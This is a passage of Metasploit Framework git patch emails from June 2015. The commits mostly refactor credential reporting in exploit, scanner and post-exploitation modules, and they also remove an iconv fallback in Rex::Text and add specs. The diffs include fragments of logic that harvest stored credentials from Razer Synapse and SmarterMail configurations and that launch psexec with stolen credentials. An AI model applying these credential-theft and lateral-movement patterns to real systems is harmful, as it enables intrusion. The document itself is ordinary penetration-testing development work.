when '-c' opts[:cert] = val + when '-u' + opts[:uri] = val when '-ph' opts[:proxy_host] = val when '-pp' @@ -735,6 +739,11 @@ class Console::CommandDispatcher::Core print_error("Failed to add transport, please check the parameters") end when 'remove' + if !opts[:transport].end_with?('_tcp') && opts[:uri].nil? + print_error("HTTP/S transport specified without session URI") + return + end + print_status("Removing transport ...") if client.core.transport_remove(opts) print_good("Successfully removed #{opts[:transport]} transport.") From 9b5770c966abb51ed392a40cceaeaadb393af69f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 23:40:51 -0500 Subject: [PATCH 0453/1013] Change to Metasploit::Model::Login::Status::SUCCESSFUL --- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 86935219e2..b63a7b7bad 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) From fb9ad663f79754dbafc524b64d99947802609e22 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 23:42:16 -0500 Subject: [PATCH 0454/1013] Change to Metasploit::Model::Login::Status::SUCCESSFUL --- modules/exploits/linux/http/kloxo_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index 39888ff29a..ac49c0589f 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) From 7e91121afcd174e7c8b27aff2c1e0c81da699253 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 18 Jun 2015 23:44:45 -0500 Subject: [PATCH 0455/1013] Change to Metasploit::Model::Login::Status::SUCCESSFUL --- .../http/ca_arcserve_rpc_authbypass.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index b2a8238115..d80ea7fba7 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::UNTRIED, + status: Metasploit::Model::Login::Status::SUCCESSFUL, }.merge(service_data) create_credential_login(login_data) @@ -130,15 +130,6 @@ class Metasploit3 < Msf::Exploit::Remote pass = resp[pass_index+1].gsub(/\"/, "") end - # report the auth - report_cred( - ip: datastore['RHOST'], - port: 445, - service_name: 'smb', - user: user, - password: pass - ) - srvc = { :host => datastore['RHOST'], :port => datastore['RPORT'], @@ -154,6 +145,15 @@ class Metasploit3 < Msf::Exploit::Remote print_good("Collected credentials User: '#{user}' Password: '#{pass}'") + # report the auth + report_cred( + ip: datastore['RHOST'], + port: 445, + service_name: 'smb', + user: user, + password: pass + ) + # try psexec on the remote host psexec = framework.exploits.create("windows/smb/psexec") psexec.register_parent(self) From fc1417809ea0410c862c1d22b417120944aa0543 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 00:09:08 -0500 Subject: [PATCH 0456/1013] Support hash format --- .../gather/credentials/razer_synapse.rb | 30 ++++++++++++++----- 1 file changed, 23 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index c73cd9de2b..c805c824af 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -71,9 +71,15 @@ class Metasploit3 < Msf::Post session_id: session_db_id, origin_type: :session, private_data: opts[:password], - private_type: :password, + private_type: opts[:type], username: opts[:user] - }.merge(service_data) + } + + if opts[:type] == :nonreplayable_hash + credential_data[:jtr_format] = 'ODF-AES-opencl' + end + + credential_data.merge!(service_data) login_data = { core: create_credential(credential_data), @@ -85,7 +91,7 @@ class Metasploit3 < Msf::Post # Loop throuhg config, grab user and pass def get_creds(config) - creds = {} + creds = [] return nil if !config.include?('') @@ -93,12 +99,17 @@ class Metasploit3 < Msf::Post xml.xpath('//SavedCredentials').each do |node| user = node.xpath('Username').text pass = node.xpath('Password').text + type = :password begin pass = decrypt(pass) rescue OpenSSL::Cipher::CipherError - # Eh, ok. We tried. + type = :nonreplayable_hash end - creds[user] = pass + creds << { + user: user, + pass: pass, + type: type + } end creds @@ -121,14 +132,19 @@ class Metasploit3 < Msf::Post # read the contents of file creds = get_creds(contents) unless creds.empty? - creds.each_pair do |user, pass| + creds.each do |c| + user = c[:user] + pass = c[:pass] + type = c[:type] + print_good("Found cred: #{user}:#{pass}") report_cred( ip: razerzone_ip, port: 443, service_name: 'http', user: user, - password: pass + password: pass, + type: type ) end end From fc35a53ac5ffa289c0c36d959c6808d50b8d5f85 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 00:14:58 -0500 Subject: [PATCH 0457/1013] Pass options correctly --- .../windows/gather/credentials/smartermail.rb | 27 ++++++++++--------- 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 3d342642d2..a38d97c141 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -144,12 +144,12 @@ class Metasploit3 < Msf::Post if password begin - result['password'] = decrypt_des(Rex::Text.decode_base64(password)) - result['password_type'] = :password + result[:password] = decrypt_des(Rex::Text.decode_base64(password)) + result[:private_type] = :password rescue OpenSSL::Cipher::CipherError - result['password'] = password - result['password_type'] = :nonreplayable_hash - result['jtr_format'] = 'des' + result[:password] = password + result[:private_type] = :nonreplayable_hash + result[:jtr_format] = 'des' end end @@ -170,12 +170,12 @@ class Metasploit3 < Msf::Post session_id: session_db_id, origin_type: :session, private_data: opts[:password], - private_type: opts[:password_type], + private_type: opts[:private_type], username: opts[:user] } - if opts['password_type'] == :nonreplayable_hash - credential_data.merge!(jtr_format: opts['jtr_format']) + if opts[:private_type] == :nonreplayable_hash + credential_data.merge!(jtr_format: opts[:jtr_format]) end credential_data.merge!(service_data) @@ -201,15 +201,17 @@ class Metasploit3 < Msf::Post # retrieve username and decrypted password from config file result = get_smartermail_creds(config_path) - if result['password'].nil? + if result[:password].nil? print_error "#{peer} - Could not decrypt password string" return end # report result port = get_web_server_port || 9998 # Default is 9998 - user = result['username'] - pass = result['password'] + user = result[:username] + pass = result[:password] + type = result[:private_type] + format = result[:jtr_format] print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_cred( @@ -218,7 +220,8 @@ class Metasploit3 < Msf::Post service_name: 'http', user: user, password: pass, - + private_type: type, + jtr_format: format ) end end From 76cd9590a45df3c784509b46f585dfaad2121b50 Mon Sep 17 00:00:00 2001 From: aushack Date: Fri, 19 Jun 2015 19:13:51 +1000 Subject: [PATCH 0458/1013] Fix author --- modules/auxiliary/dos/cisco/ios_http_percentpercent.rb | 2 +- modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb index f054e8072f..f70d685742 100644 --- a/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb +++ b/modules/auxiliary/dos/cisco/ios_http_percentpercent.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.2(18)P. }, - 'Author' => [ 'Patrick Webster ' ], + 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index 0f45294816..8834046c39 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module tested successfully against a Cisco 1600 Router IOS v11.3(11d). }, - 'Author' => [ 'Patrick Webster ', 'hdm' ], + 'Author' => [ 'patrick', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ From 0d7ef6f04e92c9757ddd3f5447195a422217c583 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 09:29:00 -0500 Subject: [PATCH 0459/1013] Pass username as symbol --- modules/post/windows/gather/credentials/smartermail.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index a38d97c141..5c934c5584 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Post username = data.match(/(.+)<\/sysAdminUserName>/) password = data.scan(/<(sysAdminPassword|sysAdminPasswordHash)>(.+)<\/(sysAdminPassword|sysAdminPasswordHash)>/).flatten[1] - result['username'] = username[1] unless username.nil? + result[:username] = username[1] unless username.nil? if password begin From 6d2b7e05ef09c0d84f731b2e7cef3f1814b4a8c4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 09:35:20 -0500 Subject: [PATCH 0460/1013] Use downcase --- modules/post/windows/gather/credentials/razer_synapse.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb index c805c824af..9d5d445164 100644 --- a/modules/post/windows/gather/credentials/razer_synapse.rb +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Post } if opts[:type] == :nonreplayable_hash - credential_data[:jtr_format] = 'ODF-AES-opencl' + credential_data[:jtr_format] = 'odf-aes-opencl' end credential_data.merge!(service_data) From 357a3929a3738ef22dfc5547337528f1f781df7f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 09:51:36 -0500 Subject: [PATCH 0461/1013] Trying to report more accurate status --- .../http/ca_arcserve_rpc_authbypass.rb | 31 +++++++++++++------ 1 file changed, 21 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index d80ea7fba7..74dafffefd 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, + status: opts[:status] }.merge(service_data) create_credential_login(login_data) @@ -145,15 +145,6 @@ class Metasploit3 < Msf::Exploit::Remote print_good("Collected credentials User: '#{user}' Password: '#{pass}'") - # report the auth - report_cred( - ip: datastore['RHOST'], - port: 445, - service_name: 'smb', - user: user, - password: pass - ) - # try psexec on the remote host psexec = framework.exploits.create("windows/smb/psexec") psexec.register_parent(self) @@ -182,11 +173,31 @@ class Metasploit3 < Msf::Exploit::Remote 'RunAsJob' => true ) rescue + report_cred( + ip: datastore['RHOST'], + port: 445, + service_name: 'smb', + user: user, + password: pass, + status: Metasploit::Model::Login::Status::INCORRECT + ) + print_status("Login attempt using windows/smb/psexec failed") print_status("Credentials have been stored and may be useful for authentication against other services.") + # report the auth return end + # report the auth + report_cred( + ip: datastore['RHOST'], + port: 445, + service_name: 'smb', + user: user, + password: pass, + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + handler end end From 0f17f622c310641e26b9b36100748cd85f5a7ca2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 10:20:47 -0500 Subject: [PATCH 0462/1013] Report last_attempted_at --- modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 74dafffefd..9f5251b4e1 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -78,7 +78,8 @@ class Metasploit3 < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), - status: opts[:status] + status: opts[:status], + last_attempted_at: DateTime.now }.merge(service_data) create_credential_login(login_data) From c2f0973ed092589e1d90bdfb827b7e2f43b4bd63 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 10:31:50 -0500 Subject: [PATCH 0463/1013] Report attempt_time --- modules/exploits/linux/http/kloxo_sqli.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index ac49c0589f..f933a516aa 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -94,6 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: opts[:attempt_time] }.merge(service_data) create_credential_login(login_data) @@ -125,7 +126,8 @@ class Metasploit3 < Msf::Exploit::Remote port: rport, user: 'admin', service_name: 'http', - password: @password + password: @password, + attempt_time: DateTime.now ) print_status("#{peer} - Retrieving the server name...") From dfae4bbbf0c1a8f5e6dfda07fdc5302530904aa8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 10:48:12 -0500 Subject: [PATCH 0464/1013] Do reporting more accurate --- .../auxiliary/scanner/http/wordpress_login_enum.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index b63a7b7bad..ce0bc33bd5 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -125,9 +125,13 @@ class Metasploit3 < Msf::Auxiliary login_data = { core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, + status: opts[:status] }.merge(service_data) + if opts[:attempt_time] + login_data.merge!(last_attempted_at: opts[:attempt_time]) + end + create_credential_login(login_data) end @@ -142,7 +146,8 @@ class Metasploit3 < Msf::Auxiliary report_cred( ip: rhost, port: rport, - user: user + user: user, + status: Metasploit::Model::Login::Status::UNTRIED ) @users_found[user] = :reported @@ -166,7 +171,9 @@ class Metasploit3 < Msf::Auxiliary ip: rhost, port: rport, user: user, - password: pass + password: pass, + status: Metasploit::Model::Login::Status::SUCCESSFUL, + attempt_time: DateTime.now ) return :next_user From b9948011728b7ae04872e8e408b66c58a8a0c23a Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 19 Jun 2015 11:22:40 -0500 Subject: [PATCH 0465/1013] Revert auto tab replacement --- modules/exploits/multi/http/jboss_invoke_deploy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 27d59c4c20..4b68cfdd07 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -102,7 +102,7 @@ class Metasploit4 < Msf::Exploit::Remote return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_4_/ return Exploit::CheckCode::Appears if res.body =~ /SVNTag=JBoss_5_/ - if res.body =~ /ServletException/ # Simple check, if we caused an exception. + if res.body =~ /ServletException/ # Simple check, if we caused an exception. vprint_status('Target seems vulnerable, but the used JBoss version is not supported by this exploit') return Exploit::CheckCode::Appears end From 5a277389f2eb86f4ce8b40b74b0cc0de57eb393e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 19 Jun 2015 11:38:22 -0500 Subject: [PATCH 0466/1013] remove some trailing commas --- modules/auxiliary/gather/ssllabs_scan.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 0eb62bd5e6..b488864ca5 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Auxiliary :sgc?, :validationType, :issues, - :sct?, + :sct? def valid? issues == 0 @@ -211,7 +211,7 @@ class Metasploit3 < Msf::Auxiliary :revocationStatus, :crlRevocationStatus, :ocspRevocationStatus, - :raw, + :raw def valid? issues == 0 From bf170a195dd130210ab255bbd8d30fc80ab86529 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 19 Jun 2015 11:38:36 -0500 Subject: [PATCH 0467/1013] the API sometimes returns negative percents - treat these as 0 --- modules/auxiliary/gather/ssllabs_scan.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index b488864ca5..316dd0886a 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -714,7 +714,7 @@ class Metasploit3 < Msf::Auxiliary return unless r.status == "IN_PROGRESS" if r.endpoints.length == 1 - print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{r.endpoints[0].progress}% (#{r.endpoints[0].status_details_message})" + print_status "#{r.host} (#{r.endpoints[0].ip_address}) - Progress #{[r.endpoints[0].progress, 0].max}% (#{r.endpoints[0].status_details_message})" elsif r.endpoints.length > 1 in_progress_srv_num = 0 ready_srv_num = 0 @@ -723,7 +723,7 @@ class Metasploit3 < Msf::Auxiliary case e.status_message.to_s when "In progress" in_progress_srv_num += 1 - print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{e.progress}% complete (#{e.status_details_message})" + print_status "Scanned host: #{e.ip_address} (#{e.server_name})- #{[e.progress, 0].max}% complete (#{e.status_details_message})" when "Pending" pending_srv_num += 1 when "Ready" From 34ece37f264061412e6970be65dbfd9ef323f64f Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 12:17:43 -0500 Subject: [PATCH 0468/1013] First off, iconv is gone, and zlib is stdlib --- lib/rex/text.rb | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index d321b573d1..ac6bdb0906 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -4,17 +4,7 @@ require 'digest/sha1' require 'stringio' require 'cgi' require 'rex/powershell' - -%W{ iconv zlib }.each do |libname| - begin - old_verbose = $VERBOSE - $VERBOSE = nil - require libname - rescue ::LoadError - ensure - $VERBOSE = old_verbose - end -end +require 'zlib' module Rex From afe5bb54c30c2a0ba245022051ee69df911a6221 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 12:24:07 -0500 Subject: [PATCH 0469/1013] Get rid of the fall through methods --- lib/rex/text.rb | 38 ++++++++------------------------------ 1 file changed, 8 insertions(+), 30 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index ac6bdb0906..4d9e140cd7 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -45,7 +45,8 @@ module Text DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ] - # In case Iconv isn't loaded + # The Iconv translation table. The Iconv gem is deprecated in favor of + # String#encode, yet there is no encoding for EBCDIC. See #4525 Iconv_EBCDIC = [ "\x00", "\x01", "\x02", "\x03", "7", "-", ".", "/", "\x16", "\x05", "%", "\v", "\f", "\r", "\x0E", "\x0F", "\x10", "\x11", "\x12", "\x13", @@ -386,9 +387,9 @@ module Text # class IllegalSequence < ArgumentError; end - # A native implementation of the ASCII->EBCDIC table, used to fall back from using - # Iconv - def self.to_ebcdic_rex(str) + # A native implementation of the EBCDIC->ASCII table, since it's not available + # in String#encode + def self.to_ebcdic(str) new_str = [] str.each_byte do |x| if Iconv_ASCII.index(x.chr) @@ -400,9 +401,9 @@ module Text new_str.join end - # A native implementation of the EBCDIC->ASCII table, used to fall back from using - # Iconv - def self.from_ebcdic_rex(str) + # A native implementation of the EBCDIC->ASCII table, since it's not available + # in String#encode + def self.from_ebcdic(str) new_str = [] str.each_byte do |x| if Iconv_EBCDIC.index(x.chr) @@ -414,29 +415,6 @@ module Text new_str.join end - def self.to_ebcdic(str) - begin - Iconv.iconv("EBCDIC-US", "ASCII", str).first - rescue ::Iconv::IllegalSequence => e - raise e - rescue - self.to_ebcdic_rex(str) - end - end - - # - # Converts EBCIDC to ASCII - # - def self.from_ebcdic(str) - begin - Iconv.iconv("ASCII", "EBCDIC-US", str).first - rescue ::Iconv::IllegalSequence => e - raise e - rescue - self.from_ebcdic_rex(str) - end - end - # # Returns the words in +str+ as an Array. # From a004c72068ac106bf38c55cdcff687b1b1ddb154 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 12:30:20 -0500 Subject: [PATCH 0470/1013] Get rid of the encode test and iconv fallback --- lib/rex/text.rb | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 4d9e140cd7..532bd370cb 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -366,20 +366,11 @@ module Text end # - # Converts ISO-8859-1 to UTF-8 + # Converts US-ASCII and ISO-8859-1 to UTF-8, skipping over + # any characters which don't convert cleanly. # def self.to_utf8(str) - - if str.respond_to?(:encode) - # Skip over any bytes that fail to convert to UTF-8 - return str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) - end - - begin - Iconv.iconv("utf-8","iso-8859-1", str).join(" ") - rescue - raise ::RuntimeError, "Your installation does not support iconv (needed for utf8 conversion)" - end + str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) end # From 01e37386dd8027ed0be07b0938cf8e8ab1c65403 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 12:59:47 -0500 Subject: [PATCH 0471/1013] Add some YARD docs to the ebcdic methods --- lib/rex/text.rb | 28 ++++++++++++++++++---------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 532bd370cb..b5dfe85fb9 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -365,21 +365,25 @@ module Text return str end + # Converts US-ASCII to UTF-8, skipping over any characters which don't + # convert cleanly. This is a convenience method that wraps + # String#encode with non-raising default paramaters. # - # Converts US-ASCII and ISO-8859-1 to UTF-8, skipping over - # any characters which don't convert cleanly. - # + # @param str [String] An encodable ASCII string + # @return [String] a UTF-8 equivalent + # @note This method will discard invalid characters def self.to_utf8(str) str.encode('utf-8', { :invalid => :replace, :undef => :replace, :replace => '' }) end - # - # Converts ASCII to EBCDIC - # class IllegalSequence < ArgumentError; end - # A native implementation of the EBCDIC->ASCII table, since it's not available - # in String#encode + # A native implementation of the ASCII to EBCDIC conversion table, since + # EBCDIC isn't available to String#encode as of Ruby 2.1 + # + # @param str [String] An encodable ASCII string + # @return [String] an EBCDIC encoded string + # @note This method will raise in the event of invalid characters def self.to_ebcdic(str) new_str = [] str.each_byte do |x| @@ -392,8 +396,12 @@ module Text new_str.join end - # A native implementation of the EBCDIC->ASCII table, since it's not available - # in String#encode + # A native implementation of the EBCIDC to ASCII conversion table, since + # EBCDIC isn't available to String#encode as of Ruby 2.1 + # + # @param str [String] an EBCDIC encoded string + # @return [String] An encodable ASCII string + # @note This method will raise in the event of invalid characters def self.from_ebcdic(str) new_str = [] str.each_byte do |x| From 66fecb2832ecde2d61eeebe43d0d6cbe635dcd38 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 19 Jun 2015 13:22:31 -0500 Subject: [PATCH 0472/1013] Add some specs around changed methods See #4525 --- spec/lib/rex/text_spec.rb | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 839270eba3..4609065457 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -4,6 +4,31 @@ require 'rex/text' describe Rex::Text do context "Class methods" do + context ".to_ebcdic" do + it "should convert ASCII to EBCDIC (both US standards)" do + described_class.to_ebcdic("Hello, World!").should eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") + end + it "should raise on non-convertable characters" do + lambda {described_class.to_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + end + end + + context ".from_ebcdic" do + it "should convert EBCDIC to ASCII (both US standards)" do + described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a").should eq("Hello, World!") + end + it "should raise on non-convertable characters" do + lambda {described_class.from_ebcdic("\xff\xfe")}.should raise_exception(described_class::IllegalSequence) + end + end + + context ".to_utf8" do + it "should convert a string to UTF-8, skipping badchars" do + described_class.to_utf8("Hello, world!").should eq("Hello, world!") + described_class.to_utf8("Oh no, \xff\xfe can't convert!").should eq("Oh no, can't convert!") + end + end + context ".to_octal" do it "should convert all chars 00 through ff" do described_class.to_octal("\x7f"*100).should eq("\\177"*100) From ef57afbfcfabf645bfe29557986074be69573240 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 19 Jun 2015 13:35:14 -0500 Subject: [PATCH 0473/1013] Explain about performance problems --- lib/msf/core/exploit/browser_autopwnv2.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 31ac710b3f..c428af2cbb 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -397,6 +397,11 @@ module Msf # Checks whether the payload is compatible with the module based on the module's compatibility list. # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? # + # @note This method is really slow, and it's really noticeable with Flash exploits because they're + # multi-platform. In our testing, every Flash that ends up using this code takes about 0.4 second + # to initialize when on average each BES should only take 0.1 to load. Evetnaully this will get + # worse. Luke is in the process of improving module searching (by caching), and that should make + # this problem go away. If not, we'll have to avoid using compatible_payloads and do our own thing. # @param [Object] m Module. # @param [String] payload_name # @return [TrueClass] Payload is compatible. From 7eeb8805ee5b973975aaf3bc9eaa28e7cd31fe65 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 19 Jun 2015 13:37:02 -0500 Subject: [PATCH 0474/1013] Do minor code cleanup --- lib/rex/proto/rfb/client.rb | 11 +++++------ lib/rex/proto/rfb/constants.rb | 4 +--- 2 files changed, 6 insertions(+), 9 deletions(-) diff --git a/lib/rex/proto/rfb/client.rb b/lib/rex/proto/rfb/client.rb index 44251aaf55..684682f89f 100644 --- a/lib/rex/proto/rfb/client.rb +++ b/lib/rex/proto/rfb/client.rb @@ -61,12 +61,11 @@ class Client @minver = $2.to_i - # Forces client version 3 to be used. This adds support - # for version 4 servers. - # It may be necessary to hardcode a miniver as well - # to do: add support for Version 4. Version 4 client - # adds additional information to the packet regarding - # supported authentication types. + # Forces version 3 to be used. This adds support for version 4 servers. + # It may be necessary to hardcode minver as well. + # TODO: Add support for Version 4. + # Version 4 adds additional information to the packet regarding supported + # authentication types. our_ver = "RFB %03d.%03d\n" % [3, @minver] @sock.put(our_ver) diff --git a/lib/rex/proto/rfb/constants.rb b/lib/rex/proto/rfb/constants.rb index 4f01ee24a2..0044e24b03 100644 --- a/lib/rex/proto/rfb/constants.rb +++ b/lib/rex/proto/rfb/constants.rb @@ -19,9 +19,7 @@ module RFB DefaultPort = 5900 # Version information -# Created array and added support for version 4. aux/scanner/vnc/vnc_login -# was confirmed to work with version 004.001 -MajorVersions = [3,4] +MajorVersions = [3, 4] # NOTE: We will emulate whatever minor version the server reports. # Security types From d672ac16011e24b4175ffe0ca7f9be6974f1b6f7 Mon Sep 17 00:00:00 2001 From: Greg Mikeska Date: Fri, 19 Jun 2015 13:54:31 -0500 Subject: [PATCH 0475/1013] Correct service name for mssql for scanner detection --- lib/metasploit/framework/login_scanner/mssql.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 